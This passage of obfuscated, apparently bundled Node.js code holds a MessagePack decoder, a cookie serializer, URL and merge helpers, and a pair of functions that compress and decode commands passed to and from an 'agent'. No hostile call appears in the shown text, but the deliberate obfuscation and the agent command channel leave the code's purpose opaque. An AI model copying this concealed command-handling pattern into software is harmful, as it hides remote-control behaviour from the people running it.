| const _0x36f7bf = this.caches[_0x4bc132 - 0x1]; | |
| _0x2bd88a: for (const _0x495cc5 of _0x36f7bf) { | |
| const _0x23eca3 = _0x495cc5.bytes; | |
| for (let _0x58c27a = 0x0; _0x58c27a < _0x4bc132; _0x58c27a++) { | |
| if (_0x23eca3[_0x58c27a] !== _0x1abe3d[_0x408153 + _0x58c27a]) { | |
| continue _0x2bd88a; | |
| } | |
| } | |
| return _0x495cc5.str; | |
| } | |
| return null; | |
| } | |
| store(_0x3b6c84, _0x19cdad) { | |
| const _0x30a079 = this.caches[_0x3b6c84.length - 0x1], | |
| _0x57cb6f = { | |
| bytes: _0x3b6c84, | |
| str: _0x19cdad | |
| }; | |
| if (_0x30a079.length >= this.maxLengthPerKey) { | |
| _0x30a079[Math.random() * _0x30a079.length | 0x0] = _0x57cb6f; | |
| } else { | |
| _0x30a079.push(_0x57cb6f); | |
| } | |
| } | |
| decode(_0x19dfe6, _0x405724, _0x58c0b4) { | |
| const _0x3a026d = this.find(_0x19dfe6, _0x405724, _0x58c0b4); | |
| if (_0x3a026d != null) { | |
| this.hit++; | |
| return _0x3a026d; | |
| } | |
| this.miss++; | |
| const _0x5ad468 = utf8DecodeJs(_0x19dfe6, _0x405724, _0x58c0b4), | |
| _0x2de69e = Uint8Array.prototype.slice.call(_0x19dfe6, _0x405724, _0x405724 + _0x58c0b4); | |
| this.store(_0x2de69e, _0x5ad468); | |
| return _0x5ad468; | |
| } | |
| }, | |
| STATE_ARRAY = "array", | |
| STATE_MAP_KEY = "map_key", | |
| STATE_MAP_VALUE = "map_value", | |
| mapKeyConverter = _0x10c07c => { | |
| if (typeof _0x10c07c === "string" || typeof _0x10c07c === "number") { | |
| return _0x10c07c; | |
| } | |
| throw new DecodeError("The type of key must be string or number but " + typeof _0x10c07c); | |
| }, | |
| StackPool = class { | |
| constructor() { | |
| this.stack = []; | |
| this.stackHeadPosition = -0x1; | |
| } | |
| get length() { | |
| return this.stackHeadPosition + 0x1; | |
| } | |
| top() { | |
| return this.stack[this.stackHeadPosition]; | |
| } | |
| pushArrayState(_0x6b95db) { | |
| const _0x55e9c5 = this["getUninitializedStateFromPool"](); | |
| _0x55e9c5.type = STATE_ARRAY; | |
| _0x55e9c5.position = 0x0; | |
| _0x55e9c5.size = _0x6b95db; | |
| _0x55e9c5.array = new Array(_0x6b95db); | |
| } | |
| pushMapState(_0x56d470) { | |
| const _0x511b16 = this["getUninitializedStateFromPool"](); | |
| _0x511b16.type = STATE_MAP_KEY; | |
| _0x511b16.readCount = 0x0; | |
| _0x511b16.size = _0x56d470; | |
| _0x511b16.map = {}; | |
| } | |
| getUninitializedStateFromPool() { | |
| this.stackHeadPosition++; | |
| if (this.stackHeadPosition === this.stack.length) { | |
| const _0x16cfc4 = { | |
| type: void 0x0, | |
| size: 0x0, | |
| array: void 0x0, | |
| position: 0x0, | |
| readCount: 0x0, | |
| map: void 0x0, | |
| key: null | |
| }; | |
| this.stack.push(_0x16cfc4); | |
| } | |
| return this.stack[this.stackHeadPosition]; | |
| } | |
| release(_0x257fe2) { | |
| const _0xccd554 = this.stack[this.stackHeadPosition]; | |
| if (_0xccd554 !== _0x257fe2) { | |
| throw new Error("Invalid stack state. Released state is not on top of the stack."); | |
| } | |
| if (_0x257fe2.type === STATE_ARRAY) { | |
| const _0x163df1 = _0x257fe2; | |
| _0x163df1.size = 0x0; | |
| _0x163df1.array = void 0x0; | |
| _0x163df1.position = 0x0; | |
| _0x163df1.type = void 0x0; | |
| } | |
| if (_0x257fe2.type === STATE_MAP_KEY || _0x257fe2.type === STATE_MAP_VALUE) { | |
| const _0x1af287 = _0x257fe2; | |
| _0x1af287.size = 0x0; | |
| _0x1af287.map = void 0x0; | |
| _0x1af287.readCount = 0x0; | |
| _0x1af287.type = void 0x0; | |
| } | |
| this.stackHeadPosition--; | |
| } | |
| reset() { | |
| this.stack.length = 0x0; | |
| this.stackHeadPosition = -0x1; | |
| } | |
| }, | |
| HEAD_BYTE_REQUIRED = -0x1, | |
| EMPTY_VIEW = new DataView(new ArrayBuffer(0x0)), | |
| EMPTY_BYTES = new Uint8Array(EMPTY_VIEW.buffer); | |
| try { | |
| EMPTY_VIEW.getInt8(0x0); | |
| } catch (_0x2c8d9a) { | |
| if (!(_0x2c8d9a instanceof RangeError)) { | |
| throw new Error("This module is not supported in the current JavaScript engine because DataView does not throw RangeError on out-of-bounds access"); | |
| } | |
| } | |
| var MORE_DATA = new RangeError("Insufficient data"), | |
| sharedCachedKeyDecoder = new CachedKeyDecoder(), | |
| Decoder = class _Decoder { | |
| constructor(_0x5d09be) { | |
| this.totalPos = 0x0; | |
| this.pos = 0x0; | |
| this.view = EMPTY_VIEW; | |
| this.bytes = EMPTY_BYTES; | |
| this.headByte = HEAD_BYTE_REQUIRED; | |
| this.stack = new StackPool(); | |
| this.entered = false; | |
| this.extensionCodec = _0x5d09be?.["extensionCodec"] ?? ExtensionCodec.defaultCodec; | |
| this.context = _0x5d09be?.["context"]; | |
| this.useBigInt64 = _0x5d09be?.["useBigInt64"] ?? false; | |
| this.rawStrings = _0x5d09be?.["rawStrings"] ?? false; | |
| this.maxStrLength = _0x5d09be?.["maxStrLength"] ?? UINT32_MAX; | |
| this.maxBinLength = _0x5d09be?.["maxBinLength"] ?? UINT32_MAX; | |
| this.maxArrayLength = _0x5d09be?.["maxArrayLength"] ?? UINT32_MAX; | |
| this.maxMapLength = _0x5d09be?.["maxMapLength"] ?? UINT32_MAX; | |
| this.maxExtLength = _0x5d09be?.["maxExtLength"] ?? UINT32_MAX; | |
| this.keyDecoder = _0x5d09be?.["keyDecoder"] !== void 0x0 ? _0x5d09be.keyDecoder : sharedCachedKeyDecoder; | |
| this.mapKeyConverter = _0x5d09be?.["mapKeyConverter"] ?? mapKeyConverter; | |
| } | |
| clone() { | |
| return new _Decoder({ | |
| extensionCodec: this.extensionCodec, | |
| context: this.context, | |
| useBigInt64: this.useBigInt64, | |
| rawStrings: this.rawStrings, | |
| maxStrLength: this.maxStrLength, | |
| maxBinLength: this.maxBinLength, | |
| maxArrayLength: this.maxArrayLength, | |
| maxMapLength: this.maxMapLength, | |
| maxExtLength: this.maxExtLength, | |
| keyDecoder: this.keyDecoder | |
| }); | |
| } | |
| reinitializeState() { | |
| this.totalPos = 0x0; | |
| this.headByte = HEAD_BYTE_REQUIRED; | |
| this.stack.reset(); | |
| } | |
| setBuffer(_0x210d48) { | |
| const _0xdb32a = ensureUint8Array(_0x210d48); | |
| this.bytes = _0xdb32a; | |
| this.view = new DataView(_0xdb32a.buffer, _0xdb32a.byteOffset, _0xdb32a.byteLength); | |
| this.pos = 0x0; | |
| } | |
| appendBuffer(_0x2529fa) { | |
| if (this.headByte === HEAD_BYTE_REQUIRED && !this.hasRemaining(0x1)) { | |
| this.setBuffer(_0x2529fa); | |
| } else { | |
| const _0x11adea = this.bytes.subarray(this.pos), | |
| _0x47c977 = ensureUint8Array(_0x2529fa), | |
| _0x46e43d = new Uint8Array(_0x11adea.length + _0x47c977.length); | |
| _0x46e43d.set(_0x11adea); | |
| _0x46e43d.set(_0x47c977, _0x11adea.length); | |
| this.setBuffer(_0x46e43d); | |
| } | |
| } | |
| hasRemaining(_0x27a1ba) { | |
| return this.view.byteLength - this.pos >= _0x27a1ba; | |
| } | |
| createExtraByteError(_0x1b223f) { | |
| const { | |
| view: _0x54c063, | |
| pos: _0x2e54d4 | |
| } = this; | |
| return new RangeError("Extra " + (_0x54c063.byteLength - _0x2e54d4) + " of " + _0x54c063.byteLength + " byte(s) found at buffer[" + _0x1b223f + ']'); | |
| } | |
| decode(_0x5e9d7a) { | |
| if (this.entered) { | |
| const _0xe7fc17 = this.clone(); | |
| return _0xe7fc17.decode(_0x5e9d7a); | |
| } | |
| try { | |
| this.entered = true; | |
| this.reinitializeState(); | |
| this.setBuffer(_0x5e9d7a); | |
| const _0x3c956d = this.doDecodeSync(); | |
| if (this.hasRemaining(0x1)) { | |
| throw this.createExtraByteError(this.pos); | |
| } | |
| return _0x3c956d; | |
| } finally { | |
| this.entered = false; | |
| } | |
| } | |
| *decodeMulti(_0x36a9e3) { | |
| if (this.entered) { | |
| const _0x46fadf = this.clone(); | |
| yield* _0x46fadf.decodeMulti(_0x36a9e3); | |
| return; | |
| } | |
| try { | |
| this.entered = true; | |
| this.reinitializeState(); | |
| this.setBuffer(_0x36a9e3); | |
| while (this.hasRemaining(0x1)) { | |
| yield this.doDecodeSync(); | |
| } | |
| } finally { | |
| this.entered = false; | |
| } | |
| } | |
| async decodeAsync(_0x3e0711) { | |
| if (this.entered) { | |
| const _0x1ee04d = this.clone(); | |
| return _0x1ee04d.decodeAsync(_0x3e0711); | |
| } | |
| try { | |
| this.entered = true; | |
| let _0x3f6c0 = false, | |
| _0x31c55d; | |
| for await (const _0x2dfb77 of _0x3e0711) { | |
| if (_0x3f6c0) { | |
| this.entered = false; | |
| throw this.createExtraByteError(this.totalPos); | |
| } | |
| this.appendBuffer(_0x2dfb77); | |
| try { | |
| _0x31c55d = this.doDecodeSync(); | |
| _0x3f6c0 = true; | |
| } catch (_0xee0546) { | |
| if (!(_0xee0546 instanceof RangeError)) { | |
| throw _0xee0546; | |
| } | |
| } | |
| this.totalPos += this.pos; | |
| } | |
| if (_0x3f6c0) { | |
| if (this.hasRemaining(0x1)) { | |
| throw this.createExtraByteError(this.totalPos); | |
| } | |
| return _0x31c55d; | |
| } | |
| const { | |
| headByte: _0x1fe98b, | |
| pos: _0x2858d6, | |
| totalPos: _0x6ef482 | |
| } = this; | |
| throw new RangeError("Insufficient data in parsing " + prettyByte(_0x1fe98b) + " at " + _0x6ef482 + '\x20(' + _0x2858d6 + " in the current buffer)"); | |
| } finally { | |
| this.entered = false; | |
| } | |
| } | |
| decodeArrayStream(_0x1956c2) { | |
| return this.decodeMultiAsync(_0x1956c2, true); | |
| } | |
| decodeStream(_0xd3117a) { | |
| return this.decodeMultiAsync(_0xd3117a, false); | |
| } | |
| async *decodeMultiAsync(_0x5566aa, _0x396c45) { | |
| if (this.entered) { | |
| const _0x37588c = this.clone(); | |
| yield* _0x37588c.decodeMultiAsync(_0x5566aa, _0x396c45); | |
| return; | |
| } | |
| try { | |
| this.entered = true; | |
| let _0x15ab34 = _0x396c45, | |
| _0x1ad11d = -0x1; | |
| for await (const _0x1c3df6 of _0x5566aa) { | |
| if (_0x396c45 && _0x1ad11d === 0x0) { | |
| throw this.createExtraByteError(this.totalPos); | |
| } | |
| this.appendBuffer(_0x1c3df6); | |
| if (_0x15ab34) { | |
| _0x1ad11d = this.readArraySize(); | |
| _0x15ab34 = false; | |
| this.complete(); | |
| } | |
| try { | |
| while (true) { | |
| yield this.doDecodeSync(); | |
| if (--_0x1ad11d === 0x0) { | |
| break; | |
| } | |
| } | |
| } catch (_0x4df5d5) { | |
| if (!(_0x4df5d5 instanceof RangeError)) { | |
| throw _0x4df5d5; | |
| } | |
| } | |
| this.totalPos += this.pos; | |
| } | |
| } finally { | |
| this.entered = false; | |
| } | |
| } | |
| doDecodeSync() { | |
| _0x1b39bc: while (true) { | |
| const _0x64e256 = this.readHeadByte(); | |
| let _0x268927; | |
| if (_0x64e256 >= 0xe0) { | |
| _0x268927 = _0x64e256 - 0x100; | |
| } else if (_0x64e256 < 0xc0) { | |
| if (_0x64e256 < 0x80) { | |
| _0x268927 = _0x64e256; | |
| } else if (_0x64e256 < 0x90) { | |
| const _0x1289b0 = _0x64e256 - 0x80; | |
| if (_0x1289b0 !== 0x0) { | |
| this.pushMapState(_0x1289b0); | |
| this.complete(); | |
| continue _0x1b39bc; | |
| } else { | |
| _0x268927 = {}; | |
| } | |
| } else if (_0x64e256 < 0xa0) { | |
| const _0x419b7e = _0x64e256 - 0x90; | |
| if (_0x419b7e !== 0x0) { | |
| this.pushArrayState(_0x419b7e); | |
| this.complete(); | |
| continue _0x1b39bc; | |
| } else { | |
| _0x268927 = []; | |
| } | |
| } else { | |
| const _0x318ee3 = _0x64e256 - 0xa0; | |
| _0x268927 = this.decodeString(_0x318ee3, 0x0); | |
| } | |
| } else if (_0x64e256 === 0xc0) { | |
| _0x268927 = null; | |
| } else if (_0x64e256 === 0xc2) { | |
| _0x268927 = false; | |
| } else if (_0x64e256 === 0xc3) { | |
| _0x268927 = true; | |
| } else if (_0x64e256 === 0xca) { | |
| _0x268927 = this.readF32(); | |
| } else if (_0x64e256 === 0xcb) { | |
| _0x268927 = this.readF64(); | |
| } else if (_0x64e256 === 0xcc) { | |
| _0x268927 = this.readU8(); | |
| } else if (_0x64e256 === 0xcd) { | |
| _0x268927 = this.readU16(); | |
| } else if (_0x64e256 === 0xce) { | |
| _0x268927 = this.readU32(); | |
| } else if (_0x64e256 === 0xcf) { | |
| if (this.useBigInt64) { | |
| _0x268927 = this.readU64AsBigInt(); | |
| } else { | |
| _0x268927 = this.readU64(); | |
| } | |
| } else if (_0x64e256 === 0xd0) { | |
| _0x268927 = this.readI8(); | |
| } else if (_0x64e256 === 0xd1) { | |
| _0x268927 = this.readI16(); | |
| } else if (_0x64e256 === 0xd2) { | |
| _0x268927 = this.readI32(); | |
| } else if (_0x64e256 === 0xd3) { | |
| if (this.useBigInt64) { | |
| _0x268927 = this.readI64AsBigInt(); | |
| } else { | |
| _0x268927 = this.readI64(); | |
| } | |
| } else if (_0x64e256 === 0xd9) { | |
| const _0x234e47 = this.lookU8(); | |
| _0x268927 = this.decodeString(_0x234e47, 0x1); | |
| } else if (_0x64e256 === 0xda) { | |
| const _0x302a41 = this.lookU16(); | |
| _0x268927 = this.decodeString(_0x302a41, 0x2); | |
| } else if (_0x64e256 === 0xdb) { | |
| const _0x99524e = this.lookU32(); | |
| _0x268927 = this.decodeString(_0x99524e, 0x4); | |
| } else if (_0x64e256 === 0xdc) { | |
| const _0x36b4ef = this.readU16(); | |
| if (_0x36b4ef !== 0x0) { | |
| this.pushArrayState(_0x36b4ef); | |
| this.complete(); | |
| continue _0x1b39bc; | |
| } else { | |
| _0x268927 = []; | |
| } | |
| } else if (_0x64e256 === 0xdd) { | |
| const _0x100e41 = this.readU32(); | |
| if (_0x100e41 !== 0x0) { | |
| this.pushArrayState(_0x100e41); | |
| this.complete(); | |
| continue _0x1b39bc; | |
| } else { | |
| _0x268927 = []; | |
| } | |
| } else if (_0x64e256 === 0xde) { | |
| const _0x142bbf = this.readU16(); | |
| if (_0x142bbf !== 0x0) { | |
| this.pushMapState(_0x142bbf); | |
| this.complete(); | |
| continue _0x1b39bc; | |
| } else { | |
| _0x268927 = {}; | |
| } | |
| } else if (_0x64e256 === 0xdf) { | |
| const _0x46ab5e = this.readU32(); | |
| if (_0x46ab5e !== 0x0) { | |
| this.pushMapState(_0x46ab5e); | |
| this.complete(); | |
| continue _0x1b39bc; | |
| } else { | |
| _0x268927 = {}; | |
| } | |
| } else if (_0x64e256 === 0xc4) { | |
| const _0x1c4093 = this.lookU8(); | |
| _0x268927 = this.decodeBinary(_0x1c4093, 0x1); | |
| } else if (_0x64e256 === 0xc5) { | |
| const _0xdda252 = this.lookU16(); | |
| _0x268927 = this.decodeBinary(_0xdda252, 0x2); | |
| } else if (_0x64e256 === 0xc6) { | |
| const _0x49c334 = this.lookU32(); | |
| _0x268927 = this.decodeBinary(_0x49c334, 0x4); | |
| } else if (_0x64e256 === 0xd4) { | |
| _0x268927 = this.decodeExtension(0x1, 0x0); | |
| } else if (_0x64e256 === 0xd5) { | |
| _0x268927 = this.decodeExtension(0x2, 0x0); | |
| } else if (_0x64e256 === 0xd6) { | |
| _0x268927 = this.decodeExtension(0x4, 0x0); | |
| } else if (_0x64e256 === 0xd7) { | |
| _0x268927 = this.decodeExtension(0x8, 0x0); | |
| } else if (_0x64e256 === 0xd8) { | |
| _0x268927 = this.decodeExtension(0x10, 0x0); | |
| } else if (_0x64e256 === 0xc7) { | |
| const _0x37a3bb = this.lookU8(); | |
| _0x268927 = this.decodeExtension(_0x37a3bb, 0x1); | |
| } else if (_0x64e256 === 0xc8) { | |
| const _0x1f37de = this.lookU16(); | |
| _0x268927 = this.decodeExtension(_0x1f37de, 0x2); | |
| } else if (_0x64e256 === 0xc9) { | |
| const _0x313c61 = this.lookU32(); | |
| _0x268927 = this.decodeExtension(_0x313c61, 0x4); | |
| } else { | |
| throw new DecodeError("Unrecognized type byte: " + prettyByte(_0x64e256)); | |
| } | |
| this.complete(); | |
| const _0x1000e8 = this.stack; | |
| while (_0x1000e8.length > 0x0) { | |
| const _0x1c720f = _0x1000e8.top(); | |
| if (_0x1c720f.type === STATE_ARRAY) { | |
| _0x1c720f.array[_0x1c720f.position] = _0x268927; | |
| _0x1c720f.position++; | |
| if (_0x1c720f.position === _0x1c720f.size) { | |
| _0x268927 = _0x1c720f.array; | |
| _0x1000e8.release(_0x1c720f); | |
| } else { | |
| continue _0x1b39bc; | |
| } | |
| } else if (_0x1c720f.type === STATE_MAP_KEY) { | |
| if (_0x268927 === "__proto__") { | |
| throw new DecodeError("The key __proto__ is not allowed"); | |
| } | |
| _0x1c720f.key = this.mapKeyConverter(_0x268927); | |
| _0x1c720f.type = STATE_MAP_VALUE; | |
| continue _0x1b39bc; | |
| } else { | |
| _0x1c720f.map[_0x1c720f.key] = _0x268927; | |
| _0x1c720f.readCount++; | |
| if (_0x1c720f.readCount === _0x1c720f.size) { | |
| _0x268927 = _0x1c720f.map; | |
| _0x1000e8.release(_0x1c720f); | |
| } else { | |
| _0x1c720f.key = null; | |
| _0x1c720f.type = STATE_MAP_KEY; | |
| continue _0x1b39bc; | |
| } | |
| } | |
| } | |
| return _0x268927; | |
| } | |
| } | |
| readHeadByte() { | |
| if (this.headByte === HEAD_BYTE_REQUIRED) { | |
| this.headByte = this.readU8(); | |
| } | |
| return this.headByte; | |
| } | |
| complete() { | |
| this.headByte = HEAD_BYTE_REQUIRED; | |
| } | |
| readArraySize() { | |
| const _0x1c277d = this.readHeadByte(); | |
| switch (_0x1c277d) { | |
| case 0xdc: | |
| return this.readU16(); | |
| case 0xdd: | |
| return this.readU32(); | |
| default: | |
| { | |
| if (_0x1c277d < 0xa0) { | |
| return _0x1c277d - 0x90; | |
| } else { | |
| throw new DecodeError("Unrecognized array type byte: " + prettyByte(_0x1c277d)); | |
| } | |
| } | |
| } | |
| } | |
| pushMapState(_0x185d34) { | |
| if (_0x185d34 > this.maxMapLength) { | |
| throw new DecodeError("Max length exceeded: map length (" + _0x185d34 + ") > maxMapLengthLength (" + this.maxMapLength + ')'); | |
| } | |
| this.stack.pushMapState(_0x185d34); | |
| } | |
| pushArrayState(_0x46b203) { | |
| if (_0x46b203 > this.maxArrayLength) { | |
| throw new DecodeError("Max length exceeded: array length (" + _0x46b203 + ") > maxArrayLength (" + this.maxArrayLength + ')'); | |
| } | |
| this.stack.pushArrayState(_0x46b203); | |
| } | |
| decodeString(_0x592c22, _0x33b4fd) { | |
| if (!this.rawStrings || this.stateIsMapKey()) { | |
| return this.decodeUtf8String(_0x592c22, _0x33b4fd); | |
| } | |
| return this.decodeBinary(_0x592c22, _0x33b4fd); | |
| } | |
| decodeUtf8String(_0x1c7686, _0x1be193) { | |
| if (_0x1c7686 > this.maxStrLength) { | |
| throw new DecodeError("Max length exceeded: UTF-8 byte length (" + _0x1c7686 + ") > maxStrLength (" + this.maxStrLength + ')'); | |
| } | |
| if (this.bytes.byteLength < this.pos + _0x1be193 + _0x1c7686) { | |
| throw MORE_DATA; | |
| } | |
| const _0x35e183 = this.pos + _0x1be193; | |
| let _0x3911fa; | |
| if (this.stateIsMapKey() && this.keyDecoder?.["canBeCached"](_0x1c7686)) { | |
| _0x3911fa = this.keyDecoder.decode(this.bytes, _0x35e183, _0x1c7686); | |
| } else { | |
| _0x3911fa = utf8Decode(this.bytes, _0x35e183, _0x1c7686); | |
| } | |
| this.pos += _0x1be193 + _0x1c7686; | |
| return _0x3911fa; | |
| } | |
| stateIsMapKey() { | |
| if (this.stack.length > 0x0) { | |
| const _0x2883ab = this.stack.top(); | |
| return _0x2883ab.type === STATE_MAP_KEY; | |
| } | |
| return false; | |
| } | |
| decodeBinary(_0x4c0c2d, _0x701431) { | |
| if (_0x4c0c2d > this.maxBinLength) { | |
| throw new DecodeError("Max length exceeded: bin length (" + _0x4c0c2d + ") > maxBinLength (" + this.maxBinLength + ')'); | |
| } | |
| if (!this.hasRemaining(_0x4c0c2d + _0x701431)) { | |
| throw MORE_DATA; | |
| } | |
| const _0x2e8341 = this.pos + _0x701431, | |
| _0x129467 = this.bytes.subarray(_0x2e8341, _0x2e8341 + _0x4c0c2d); | |
| this.pos += _0x701431 + _0x4c0c2d; | |
| return _0x129467; | |
| } | |
| decodeExtension(_0x4de04a, _0xc087cc) { | |
| if (_0x4de04a > this.maxExtLength) { | |
| throw new DecodeError("Max length exceeded: ext length (" + _0x4de04a + ") > maxExtLength (" + this.maxExtLength + ')'); | |
| } | |
| const _0x4fe1a3 = this.view.getInt8(this.pos + _0xc087cc), | |
| _0x344977 = this.decodeBinary(_0x4de04a, _0xc087cc + 0x1); | |
| return this.extensionCodec.decode(_0x344977, _0x4fe1a3, this.context); | |
| } | |
| lookU8() { | |
| return this.view.getUint8(this.pos); | |
| } | |
| lookU16() { | |
| return this.view.getUint16(this.pos); | |
| } | |
| lookU32() { | |
| return this.view.getUint32(this.pos); | |
| } | |
| readU8() { | |
| const _0x5151f0 = this.view.getUint8(this.pos); | |
| this.pos++; | |
| return _0x5151f0; | |
| } | |
| readI8() { | |
| const _0x2d7294 = this.view.getInt8(this.pos); | |
| this.pos++; | |
| return _0x2d7294; | |
| } | |
| readU16() { | |
| const _0x506a9a = this.view.getUint16(this.pos); | |
| this.pos += 0x2; | |
| return _0x506a9a; | |
| } | |
| readI16() { | |
| const _0x126a8f = this.view.getInt16(this.pos); | |
| this.pos += 0x2; | |
| return _0x126a8f; | |
| } | |
| readU32() { | |
| const _0x564adf = this.view.getUint32(this.pos); | |
| this.pos += 0x4; | |
| return _0x564adf; | |
| } | |
| readI32() { | |
| const _0x14753a = this.view.getInt32(this.pos); | |
| this.pos += 0x4; | |
| return _0x14753a; | |
| } | |
| readU64() { | |
| const _0x3eb30d = getUint64(this.view, this.pos); | |
| this.pos += 0x8; | |
| return _0x3eb30d; | |
| } | |
| readI64() { | |
| const _0x47dbc3 = getInt64(this.view, this.pos); | |
| this.pos += 0x8; | |
| return _0x47dbc3; | |
| } | |
| readU64AsBigInt() { | |
| const _0x46fe1e = this.view.getBigUint64(this.pos); | |
| this.pos += 0x8; | |
| return _0x46fe1e; | |
| } | |
| readI64AsBigInt() { | |
| const _0x5125b8 = this.view.getBigInt64(this.pos); | |
| this.pos += 0x8; | |
| return _0x5125b8; | |
| } | |
| readF32() { | |
| const _0x37a7e5 = this.view.getFloat32(this.pos); | |
| this.pos += 0x4; | |
| return _0x37a7e5; | |
| } | |
| readF64() { | |
| const _0x72a75e = this.view.getFloat64(this.pos); | |
| this.pos += 0x8; | |
| return _0x72a75e; | |
| } | |
| }; | |
| function decode(_0x177628, _0x3d1398) { | |
| const _0x49dec5 = new Decoder(_0x3d1398); | |
| return _0x49dec5.decode(_0x177628); | |
| } | |
| var import_node_buffer = require('node:buffer'), | |
| import_node_zlib = __toESM(require('node:zlib')); | |
| async function serizalizeCommandFromAgent(_0x2bbf20) { | |
| const _0x5a3118 = await encode(_0x2bbf20), | |
| _0x46e03d = await new Promise((_0x43f109, _0x22992e) => { | |
| import_node_zlib["default"].deflate(_0x5a3118, (_0x5985d3, _0x3e9081) => { | |
| if (_0x5985d3) { | |
| _0x22992e(_0x5985d3); | |
| } | |
| _0x43f109(_0x3e9081); | |
| }); | |
| }); | |
| return import_node_buffer.Buffer.from(_0x46e03d); | |
| } | |
| async function deserializeCommandToAgent(_0x1247c8) { | |
| const _0x88b7d8 = await new Promise((_0x421019, _0x2b378d) => { | |
| import_node_zlib["default"].inflate(_0x1247c8, (_0x99dd75, _0xfbe865) => { | |
| if (_0x99dd75) { | |
| _0x2b378d(_0x99dd75); | |
| } | |
| _0x421019(_0xfbe865); | |
| }); | |
| }), | |
| _0x12c0b4 = await decode(_0x88b7d8); | |
| return _0x12c0b4; | |
| } | |
| var _serialize = (_0x4aeca9, _0x3e3dc1, _0x5eb016 = {}) => { | |
| let _0x5ece77 = _0x4aeca9 + '=' + _0x3e3dc1; | |
| if (_0x4aeca9.startsWith("__Secure-") && !_0x5eb016.secure) { | |
| throw new Error("__Secure- Cookie must have Secure attributes"); | |
| } | |
| if (_0x4aeca9.startsWith("__Host-")) { | |
| if (!_0x5eb016.secure) { | |
| throw new Error("__Host- Cookie must have Secure attributes"); | |
| } | |
| if (_0x5eb016.path !== '/') { | |
| throw new Error("__Host- Cookie must have Path attributes with \"/\""); | |
| } | |
| if (_0x5eb016.domain) { | |
| throw new Error("__Host- Cookie must not have Domain attributes"); | |
| } | |
| } | |
| if (_0x5eb016 && typeof _0x5eb016.maxAge === "number" && _0x5eb016.maxAge >= 0x0) { | |
| if (_0x5eb016.maxAge > 0x20f5800) { | |
| throw new Error("Cookies Max-Age SHOULD NOT be greater than 400 days (34560000 seconds) in duration."); | |
| } | |
| _0x5ece77 += "; Max-Age=" + (_0x5eb016.maxAge | 0x0); | |
| } | |
| if (_0x5eb016.domain && _0x5eb016.prefix !== "host") { | |
| _0x5ece77 += "; Domain=" + _0x5eb016.domain; | |
| } | |
| if (_0x5eb016.path) { | |
| _0x5ece77 += "; Path=" + _0x5eb016.path; | |
| } | |
| if (_0x5eb016.expires) { | |
| if (_0x5eb016.expires.getTime() - Date.now() > 0x80befc000) { | |
| throw new Error("Cookies Expires SHOULD NOT be greater than 400 days (34560000 seconds) in the future."); | |
| } | |
| _0x5ece77 += "; Expires=" + _0x5eb016.expires.toUTCString(); | |
| } | |
| if (_0x5eb016.httpOnly) { | |
| _0x5ece77 += "; HttpOnly"; | |
| } | |
| if (_0x5eb016.secure) { | |
| _0x5ece77 += "; Secure"; | |
| } | |
| if (_0x5eb016.sameSite) { | |
| _0x5ece77 += "; SameSite=" + (_0x5eb016.sameSite.charAt(0x0).toUpperCase() + _0x5eb016.sameSite.slice(0x1)); | |
| } | |
| if (_0x5eb016.priority) { | |
| _0x5ece77 += "; Priority=" + (_0x5eb016.priority.charAt(0x0).toUpperCase() + _0x5eb016.priority.slice(0x1)); | |
| } | |
| if (_0x5eb016.partitioned) { | |
| if (!_0x5eb016.secure) { | |
| throw new Error("Partitioned Cookie must have Secure attributes"); | |
| } | |
| _0x5ece77 += "; Partitioned"; | |
| } | |
| return _0x5ece77; | |
| }, | |
| serialize = (_0x3571e7, _0x162575, _0xea0ef5) => { | |
| _0x162575 = encodeURIComponent(_0x162575); | |
| return _serialize(_0x3571e7, _0x162575, _0xea0ef5); | |
| }, | |
| mergePath = (_0x4bdd19, _0x158c64) => { | |
| _0x4bdd19 = _0x4bdd19.replace(/\/+$/, ''); | |
| _0x4bdd19 = _0x4bdd19 + '/'; | |
| _0x158c64 = _0x158c64.replace(/^\/+/, ''); | |
| return _0x4bdd19 + _0x158c64; | |
| }, | |
| replaceUrlParam = (_0x1a95fd, _0x52e0ea) => { | |
| for (const [_0x197af2, _0x47a980] of Object.entries(_0x52e0ea)) { | |
| const _0x580add = new RegExp('/:' + _0x197af2 + "(?:{[^/]+})?\\??"); | |
| _0x1a95fd = _0x1a95fd.replace(_0x580add, _0x47a980 ? '/' + _0x47a980 : ''); | |
| } | |
| return _0x1a95fd; | |
| }, | |
| buildSearchParams = _0x51ba3d => { | |
| const _0x4cfe19 = new URLSearchParams(); | |
| for (const [_0x42d361, _0x1f43ba] of Object.entries(_0x51ba3d)) { | |
| if (_0x1f43ba === void 0x0) { | |
| continue; | |
| } | |
| if (Array.isArray(_0x1f43ba)) { | |
| for (const _0xeaa7e6 of _0x1f43ba) { | |
| _0x4cfe19.append(_0x42d361, _0xeaa7e6); | |
| } | |
| } else { | |
| _0x4cfe19.set(_0x42d361, _0x1f43ba); | |
| } | |
| } | |
| return _0x4cfe19; | |
| }, | |
| replaceUrlProtocol = (_0x357e2f, _0x3f7524) => { | |
| switch (_0x3f7524) { | |
| case 'ws': | |
| return _0x357e2f.replace(/^http/, 'ws'); | |
| case "http": | |
| return _0x357e2f.replace(/^ws/, "http"); | |
| } | |
| }, | |
| removeIndexString = _0x53f86f => { | |
| if (/^https?:\/\/[^\/]+?\/index(?=\?|$)/.test(_0x53f86f)) { | |
| return _0x53f86f.replace(/\/index(?=\?|$)/, '/'); | |
| } | |
| return _0x53f86f.replace(/\/index(?=\?|$)/, ''); | |
| }; | |
| function isObject(_0x52795e) { | |
| if (!(typeof _0x52795e === "object" && _0x52795e !== null)) { | |
| return false; | |
| } | |
| return !Array.isArray(_0x52795e); | |
| } | |
| function deepMerge(_0x236760, _0x3dec2b) { | |
| if (!isObject(_0x236760) && !isObject(_0x3dec2b)) { | |
| return _0x3dec2b; | |
| } | |
| const _0x36c6c6 = { | |
| ..._0x236760 | |
| }; | |
| for (const _0x1240ea in _0x3dec2b) { | |
| const _0x5c44ac = _0x3dec2b[_0x1240ea]; | |
| if (isObject(_0x36c6c6[_0x1240ea]) && isObject(_0x5c44ac)) { | |
| _0x36c6c6[_0x1240ea] = deepMerge(_0x36c6c6[_0x1240ea], _0x5c44ac); | |
| } else { | |
| _0x36c6c6[_0x1240ea] = _0x5c44ac; | |
| } | |
| } | |
| return _0x36c6c6; | |
| } | |
| var createProxy = (_0xd92b83, _0x5c234d) => { | |
| const _0x10d58e = new Proxy(() => {}, { | |
| get(_0x1c09c0, _0x557ed3) { | |
| if (typeof _0x557ed3 !== "string" || _0x557ed3 === "then") { | |
| return void 0x0; | |
| } | |
| return createProxy(_0xd92b83, [..._0x5c234d, _0x557ed3]); | |
| }, | |
